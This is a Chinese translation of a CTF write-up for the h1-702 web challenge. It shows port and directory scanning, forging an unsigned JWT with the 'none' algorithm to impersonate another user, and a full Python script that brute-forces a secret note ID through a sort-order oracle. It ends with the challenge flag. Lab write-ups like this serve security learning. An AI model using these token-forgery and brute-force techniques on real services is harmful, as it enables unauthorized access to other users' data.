h1–702 CTF — Web挑战Write Up

原文链接:https://medium.com/@amalmurali47/h1-702-ctf-web-challenge-write-up-53de31b2ddce


当你打开挑战链接时会看到以下内容:

可以在挑战网站上找到提示:http://159.203.178.9/

用浏览器打开网站,你会看到一个常规的HTML欢迎页面:

46ee0c6e0af7b659b046692886948795.png

看上去有一个秘密服务用来存储笔记。标题说明它与RPC有关。

考虑到去年的题目,我认为它可能被藏在80之外的端口上。于是做了个基本的nmap端口扫描:

nmap -sT 159.203.178.9 -p1-65535

没想到,只有80和22端口打开着。

试过几个涌现在脑海的目录后,比如/xmlrpc.php、/notes、/rpc等,我放弃了并决定直接暴力破解。

我使用工具dirsearch并拿Jason Haddix的content_discovery_all.txt作为字典:

python3 dirsearch.py -u http://159.203.178.9/ -t 50 -w content_discovery_all.txt -e 'php'

过了几分钟。扫描结束了,我得到两个结果!

  1. /README.html
  2. /rpc.php

来看看这些uri都有些什么。

深挖

README页面的标题显示“Notes RPC Documentation”。该页面说:

This service provides a way to securely store notes. It’ll give them the ability to retrieve them at a later point. The service will return random keys associated with the notes. There’s no way to retrieve a note once the key has been destroyed. The RPC interface is exposed through the /rpc.php file. A call can be invoked through the method parameter. Each note is stored in a secure file that consists of a unique key, the note, and the epoch of when the note was created.

Authenticating to the service can be done through the Authorization header. When provided a valid JWT, the service will authenticate the user and allow to query metadata, retrieve a note, create new notes, and delete all notes.

(翻译)
本服务保证笔记的安全存储。它会让笔记在后续可被读取。服务将返回与笔记相关联的随机密钥。一旦密钥被销毁,就无法读取笔记。 RPC接口暴露在/rpc.php文件,可以通过method参数调用。每个笔记都存储在一个安全文件中,文件由唯一键、笔记和创建笔记的纪元时间组成。

服务通过Authorization请求头对用户进行身份验证。当提供有效的JWT时,该服务将对用户进行身份验证,并允许查询元数据、读取笔记、创建新笔记以及删除所有笔记的操作。

该服务需要有效的JWT(JSON Web令牌)才能执行身份验证。我们可以在服务中做以下操作:

  • 查询所有笔记的元数据
  • 读取笔记
  • 创建一个新笔记
  • 删除所有笔记

其他没什么好看的。在标题“Versioning”下面提到了以下内容:

The service is being optimized continuously. A version number can be provided in the Accept header of the request. At this time, only application/notes.api.v1+jsonis supported.

(翻译)
该服务正在不断优化。通过请求的Accept标头中可以获得版本号。目前,仅支持application/notes.api.v1+json的类型。

似乎没必要指出只允许JWT v1,有点奇怪。但是现在我要尝试理解API的工作原理了。

createNote()

我尝试用cURL来创建笔记:

curl 'http://159.203.178.9/rpc.php?method=createNote'
    -H 'Content-Type: application/json'     
    -H 'Authorization:eiOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'    
    -H 'Accept: application/notes.api.v1+json'     
    -d '{"note": "This is my note"}'

响应如下:

{"url":"\/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6"}

不出意料,文档中也提到“如果没有指定ID,将填充16位随机数”。如果我们指定任意ID会发生什么?

curl 'http://159.203.178.9/rpc.php?method=createNote'    
    -H 'Content-Type: application/json'     
    -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'     
    -H 'Accept: application/notes.api.v1+json'     
    -d '{"id":"test", "note": "This is my note"}'

这次响应变成:

{"url":"\/rpc.php?method=getNote&id=test"}

nice!我们自己选择ID。

getNote()

如果你用getNote()访问同一笔记,会得到什么呢?

curl 'http://159.203.178.9/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6'     
    -H 'Content-Type: application/json'     
    -H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'    
    -H 'Accept: application/notes.api.v1+json'

响应如下:

{"note":"This is my note","epoch":"1530279830"}

nice!但epoch的值又是什么呢?看上去像笔记创建时的时间戳,我使用date -r很快验证了这一想法。

getNotesMetaData()

再来试试访问笔记的元数据:

curl 'http://159.203.178.9/rpc.php?method=getNotesMetadata'    
    -H 'Content-Type: application/json'     
    -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'    
    -H 'Accept: application/notes.api.v1+json'

得到如下响应:

{"count":1,"epochs":["1530279830"]}

看上去count代表笔记的数量,epochs是已存在笔记的epoch数组。

我们来创建更多的笔记看会发生什么,我重放了多次createNote()请求并查询了元数据:

{"count":4,"epochs":["1530279830","1530281119","1530281120","1530281121"]}

就像我猜的,数量增加了,笔记时间的顺序也是单调递增。最后添加的epoch排在数组的末尾。

再来试试重置笔记。

curl 'http://159.203.178.9/rpc.php?method=resetNotes'     
    -H 'Content-Type: application/json'     
    -H 'Authorization:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'     
    -H 'Accept: application/notes.api.v1+json'     
    -d '{"note": "This is my note"}'

对应的响应:

{"reset": true}

没啥亮点。只是为了确认,我检查了元数据,果然,我创建的所有笔记现在都消失了。

所以我们已经测试了服务中的所有方法,然后呢?让我们看看是否可以打破它。

我尝试更改Content-Types、完全删除Authorization头、重放请求并保持请求头长度不变但只改一个字符等办法,但都没有效果 - 它响应
{"authorization":"is invalid"}{"authorization":"is missing"}。还是别侥幸了。

重新挖掘

我打开Burp并测试了各种方法来产生异常,但看不出任何异常或奇怪的东西。貌似我错过了本题很重要的线索。虽然应用程序本身很小,但我可能忽略了什么东西。根据大学时期的在线挖洞经验,我偶然查看了README.html的源代码,并按Ctrl + F查找<!--'看是否有隐藏的注解。哈!果然有东西。

17da26ac97f6df721730d5cb19ae6587.png

隐藏在明文中…但却看不见。我应该早点看到这个,但迟到总比没有好。这表明我最初对API版本描述的怀疑是正确的——API v2有不一样的地方。它们使用“优化的文件格式,在保存之前根据其唯一键值对笔记进行排序”。我google了一下,看看是否有这样的文件格式。在我的一次搜索中,我找到了Amazon RedShift:

Amazon Redshift stores your data on disk in sorted order according to the sort key.

(翻译)
Amazon Redshift依据排序键对你的数据排序并存储入硬盘。

我后来意识到思路不对。为什么不直接用Fiddler抓包查看API v2?

我重复了之前的过程:

  • 创建笔记会得到一个包含id参数的url
  • 获取笔记内容会得到笔记(笔记内容)和epoch(时间戳)。
  • 获取笔记的元数据的响应似乎没变。
  • 重置笔记,将所有内容重置为初始状态。

一切似乎与v1相同。但是他们已经提到v2正在使用一些花哨的排序功能——那么测试一下。文档中说该方法“在保存之前根据其唯一键对笔记进行排序”。好吧,每个笔记都有两个参数——笔记的ID(可以自己指定)和笔记内容。这里的唯一键是笔记ID,这是符合逻辑。让我们尝试用随机ID创建更多笔记,看看我们是否能找到一些东西。

看样子要做好多手工工作,我讨厌一遍又一遍地重复相同的事情——更改ID等等。我是自动化的忠实粉丝,用脚本可以做得更好。所以我使用requests库和内置的json库快速写了一个Python脚本。

它看起来像这样:

#!/usr/bin/env python3

import json
import requests as rq
from base64 import b64decode


def rpc(method, data=None, post=False):
    headers = {
        'Authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak',
        'Content-Type': 'application/json',
        'Accept': 'application/notes.api.v1+json',
    }

    url = 'http://159.203.178.9/rpc.php?method={}'.format(method)

    if data:
        data = json.dumps(data)
        if post:
            # POST with params
            headers['Content-Length'] = str(len(data))
            return rq.post(url, headers=headers, data=data)
        else:
            # GET with params
            return rq.get(url, params=json.loads(data), headers=headers)
    elif post:
        # POST without params
        return rq.post(url, headers=headers)

    # GET request without params
    return rq.get(url, headers=headers)


def get_note(ident):
    r = rpc('getNote', data={'id': ident})
    print(r.text)
    if r.status_code == 200:
        return r.json()['note']


def epochs():
    r = rpc('getNotesMetadata')
    if r.status_code == 200:
        return r.json()['epochs']
    return None


def reset():
    r = rpc('resetNotes', post=True)
    if r.status_code == 200:
        return r.json()['reset']
    return None


def create(ident, note='a'):
    r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
    if r.status_code == 400:
        return False
    elif r.status_code == 201:
        return True
    return None

其实是对API函数做封装。现在,我们可以更轻松地与RPC轻松交互:

  • create(id)将创建具有指定ID的笔记。
  • epochs()会给你一个时间戳列表
  • reset()将重置笔记并恢复初始状态。

现在从刚才停下的地方开始——随机ID创建笔记。我们用字母表作为ID创建一些笔记:

def main():
    reset()
    for i in 'abcdefghijklmnopqrstuvwxyz':
        create(i)
        print(epochs())
        sleep(1)

if __name__ == '__main__':
    main()

响应结果如下:

['1530286994']
['1530286994', '1530286996']
['1530286994', '1530286996', '1530286998']
['1530286994', '1530286996', '1530286998', '1530287000']
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002']
['1530286994', '1530286996', '1530286998', '1530287000', '1530287002', '1530287004']
... so on ...

和之前一样,最后创建的笔记添加在数组末尾。我用其他随机字符串、数字等继续测试一段时间。毫无头绪!

我开始思考这道题的意图。显然其他人做这道题,但我能够创建仅与我的会话相关的独特笔记。

如果用户身份验证是基于某些请求头,我可能会伪造一些请求头来规避验证。我尝试过HostX-Forwarded-Host,但无济于事。经过一些尝试,我得出结论,这可能是基于IP的身份验证。

我觉得是时候回退,看看是否错过了一些重要的东西(我经常这样做)。我再次阅读文档,这次更仔细。关于JWT的部分引起了我的注意,我没有过多探索那条路线。

关注JWT

那什么是JWT?直接引用jwt.io的话(谢谢Auth0建立这个神器的网站):

JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.

(翻译)
JSON Web Token(JWT)是一个开放标准(RFC 7519),它定义了一种紧凑且独立的方式,用于在各方之间以JSON对象的形式安全地传输信息。此信息可以通过数字签名进行验证和信任。 JWT可以使用秘密(使用HMAC算法)或使用RSA或ECDSA的公钥/私钥对进行签名。

来自维基百科的解释:

JWTs generally have three parts: a header, a payload, and a signature. The header identifies which algorithm is used to generate the signature, and looks something like this:

(翻译)
JWT通常有三个部分:头,有效负载和签名。标头记录用于生成签名的算法,看起来像这样:

header = '{"alg":"HS256","typ":"JWT"}'

让我们回过头查看JWTAuthorization头。

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJpZCI6Mn0.
t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak

这就是我们的JWT(为了易读性做了换行)。第一部分是头,第二部分是有效负载,第三部分是签名。 签名计算方式如下:

key                = 'secretkey' 
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload) 
signature        = HMAC-SHA256(key, unsignedToken)

既然已知头、负载是base64编码的,我们马上得到实际值:

$ echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' | base64 -D {"typ":"JWT","alg":"HS256"}

同样操作:

$ echo 'eyJpZCI6Mn0=' | base64 -D 
{"id":2}

可以看到那里有一个ID!我认为可以假设它是用户ID,那么一直以来,我们一直在创建/查看/重置用户ID 2的注释。

(注意,我将填充=添加到上面的base64字符串。虽然根据RFC 7515,填充在JWT中是可选的,但在解码时,还是要提供填充以便返回正确的字符串表示。)

我们可以使用jwt.io提供的调试器来代替人工操作。

1a04b271f7f101aea278f8c56835f2c9.png

我们可以尝试将ID改成别的,例如id=1。

但是有一个问题。服务器要验证签名。我们需要对载荷{"id": 2}签名。为此,我们需要用于创建签名的密钥,但却不知道。

在某些情况下破解用弱密码签名的JWT是可能的。我花了一些时间来爆破JWT。没有用,所以我开始寻找与JWT相关的漏洞。

有趣的是,我发现了一个none算法。它被用在已经验证过Token完整性的情况。它和HS256是必须实现的两种算法。

如果服务器的JWT实现是:所有验证过签名的Token在使用none算法后为有效令牌,我们就可以使用任意负载创建自己的“签名”令牌。

创建这样的令牌非常简单:

  • 将标题更改为{"alg": "none"},而不是HS256。
  • 将有效负载更改为{"id": 1}
  • 设置空签名''

让我们使用可用的JWT模块做这事(我使用的是PyJWT):

In [1]: import jwt 
In [2]: encoded = jwt.encode({"id": 1}, '', algorithm='none') 
In [3]: encoded 
Out[3]: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.'

现在我们有了JWT,就可以在用户id为1的会话下创建笔记;我们要做的就是将Authorization标头更改为这个新制作的JWT。

我首先像以前一样使用小写字母进行测试,结果一样——它不断将新笔记的时间戳添加到数组末尾。如果我尝试使用大写字母呢?

['1528911533']  # Initial state
['1530295850', '1528911533'] # After inserting note with id = 'A'
['1530295850', '1530295852', '1528911533'] # B
['1530295850', '1530295852', '1530295854', '1528911533'] # C
['1530295850', '1530295852', '1530295854', '1530295856', '1528911533'] # D
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533'] # E
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', **'1530295860'**] # F
['1530295850', '1530295852', '1530295854', '1530295856', '1530295858', '1528911533', '1530295860', '1530295862'] # G

1530295860出现的形式不同(特别是在插入F之后)。它没有被插入到最后。好吧,怎么可能?!

突破

经过一番思考后,我惊奇地发现这些笔记是按字典顺序排列的!

假设笔记的ID为bar。然后,如果我们添加的新笔记ID的字典顺序<(读作:小于)bar(例如abc),它将被插入到bar之前的位置;如果它是的字典顺序> bar(例如zap),它将在bar之后插入。

所以在作比较时有某种特殊的排序功能。我们开始深入了解。好吧,我们可以查看源代码,看看它是如何工作的,但我们只是凡人—— 我们无法访问源代码(Frans Rosen正在看着你)。因此,我插入更多的随机笔记(不算非常随机,我挑选了些可以让我深入了解排序功能的样本)。

我检查了各种字母序列的顺序(好吧,我写了一个小脚本),并得到以下输出:

['00', '000', '01', '001', '09', '0Z', '0a', '0z', 'A', 'A9', 'AA', 'AZ', 'Az', '<secret>', 'Z', 'ZZ', '0', 'a', 'a0', 'a1', 'a9', 'aZ', 'aa', 'ab', 'az', 'b', 'c', 'z', 'zz', '1', '9', '99']

<secret>是保存秘密记录的ID。一开始我没看明白,但如果忽略第一个的首字母,那一切看起来就很正常一致了。如果我不忽略第一个字母,由于某种原因,1和9就在右边那边。

通过深入测试,我得到以下结论:

  • ab < abc < ac
  • ab < abc
  • a9b < 0z
  • a < aa
  • aa < aaa
  • 等等…

从技术上来说,这并不是排序算法的一个小bug,我相信H1的邪恶人士想要让题目变得更难,所以他们可能会加入这种“混淆”。

如果我们要重构服务中使用的比较功能,我们可以这样写:

letters = 'abcdefghijklmnopqrstuvwxyz'
letters = letters.upper() + letters

#  1 if a > b
#  0 if a = b
# -1 if a < b

def compare(string_a, string_b):
    global letters

    for i, (a, b) in enumerate(zip(string_a, string_b)):
        if i == 0:
            alpha = '0123456789' + letters
        else:
            alpha = letters + '0123456789'

        a_ind, b_ind = alpha.index(a), alpha.index(b)
        if a_ind < b_ind:
            return -1
        elif a_ind > b_ind:
            return 1

    if len(a) < len(b):
        return -1
    elif len(a) > len(b):
        return 1

    return 0

好的。现在我们知道键值是如何比较了,可以开始寻找键值(ID)了。

暴力破解

我们从文档中了解到一些:

  • ID必须匹配该正则表达式[a-zA-Z0-9] +
  • ID可以超过16个字节。

一种简单的方法是尝试每一个可能的键。这需要花费很多时间和请求。

我们总结一下:

  • 我们需要创建自定义ID的新笔记,并推断我们的秘密笔记是在它之前还是之后。
  • 我们只能使用比较运算符。
  • 搜索空间已知——[a-zA-Z0-9] +

这不就是二分查找!从现在开始,它变得非常简单。我们只需要脚本化地暴力破解,并引入二分查找。

我的脚本(brute_secret_note.py)像这样:

#!/usr/bin/env python3

import json
from base64 import b64decode

import requests as rq


def rpc(method, data=None, post=False):
    headers = {
        'Authorization': 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.',
        'Content-Type': 'application/json',
        'Accept': 'application/notes.api.v2+json',
    }

    url = 'http://159.203.178.9/rpc.php?method={}'.format(method)

    if data:
        data = json.dumps(data)
        if post:
            # POST with params
            headers['Content-Length'] = str(len(data))
            return rq.post(url, headers=headers, data=data)
        else:
            # GET with params
            return rq.get(url, params=json.loads(data), headers=headers)
    elif post:
        # POST without params
        return rq.post(url, headers=headers)

    # GET request without params
    return rq.get(url, headers=headers)


def get_note(ident):
    r = rpc('getNote', data={'id': ident})
    if r.status_code == 200:
        return r.json()['note']


def epochs():
    r = rpc('getNotesMetadata')
    if r.status_code == 200:
        return r.json()['epochs']
    return None


def reset():
    r = rpc('resetNotes', post=True)
    if r.status_code == 200:
        return r.json()['reset']
    return None


def create(ident, note='a'):
    r = rpc('createNote', data={'id': ident, 'note': note}, post=True)
    if r.status_code == 400:
        return False
    elif r.status_code == 201:
        return True
    return None


def where(a, b):
    for i, (x, y) in enumerate(zip(a, b)):
        if x != y:
            return i
    return min(len(a), len(b))


def search(head, secret=0):
    if head is '':
        alpha = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
    else:
        alpha = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'

    i_min, i_max = 0, len(alpha) - 1
    old_epochs = epochs()
    tries = []

    while i_min + 1 != i_max:
        print('Search space: ', end='')
        for i, c in enumerate(alpha):
            print(['\x1B[0m', '\x1B[7m'][(i_min <= i) and (i <= i_max)] + c, end='')
        print('\x1B[0m')

        i = (i_max + i_min) // 2

        print('Trying', head + alpha[i])
        r = create(head + alpha[i])

        new_epochs = epochs()
        ind = where(old_epochs, new_epochs)
        old_epochs = new_epochs

        if r is None:
            print('Something has gone terribly wrong.')
            exit(1)
        elif r is False:
            secret_note_id = head + alpha[i]
            return secret_note_id

        if ind <= secret:
            secret += 1
            i_min = i
        elif ind > secret:
            i_max = i

    return search(head + alpha[i_min], secret)


reset()
secret_note_id = search('')
print('\nFound secret note ID: {}'.format(secret_note_id))

encoded_flag = get_note(secret_note_id)
decoded_flag = b64decode(encoded_flag).decode('utf-8')
print(u'\nFlag found 💃💃💃: {}'.format(decoded_flag))

运行脚本:

python3 brute_secret_note.py

工作原理

search()是这里最重要的函数。将search()想象为只查找最后一个字母更容易理解,然后让它调用自己。第一个if语句的存在是因为第一个字母的排序与其余字母的排序不同。对于第一个字母,'0'>'z',但对于其余的字母,'0'是可能的最小字母。

它是挨个字母比较的,然后下一个,依此类推。它首先检查第一个字母,然后检查下一个字母等。例如:'abc'>'abb'>'aac'

alpha只是按顺序排列的字母数组。 i_mini_max是我们正在查看的字母表中的边界。

首先,所有字母都在考察范围内。i_min为0,i_max是最后一个字母。使用二分搜索,把第一个字母放在范围中间。 (i_min + i_max)// 2用于查找此中间值。然后我添加头部(最初是一个空字符串)和找到的字符以形成一个笔记ID并创建一个带有该ID的注释。

search()函数的最后一部分设置了下一次迭代的边界。当createNote()返回false时,意味着我们已到达结尾,因此返回它。

一旦我们找到了秘密ID,我们用该ID调用getNote(),对它进行base64解码,然后我们得到了这个flag:

702-CTF-FLAG:NP26nDOI6H5ASemAOW6g

af4da54200537c16a710d591c202a140.gif

脚本运行动画

【演示视频链接】

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章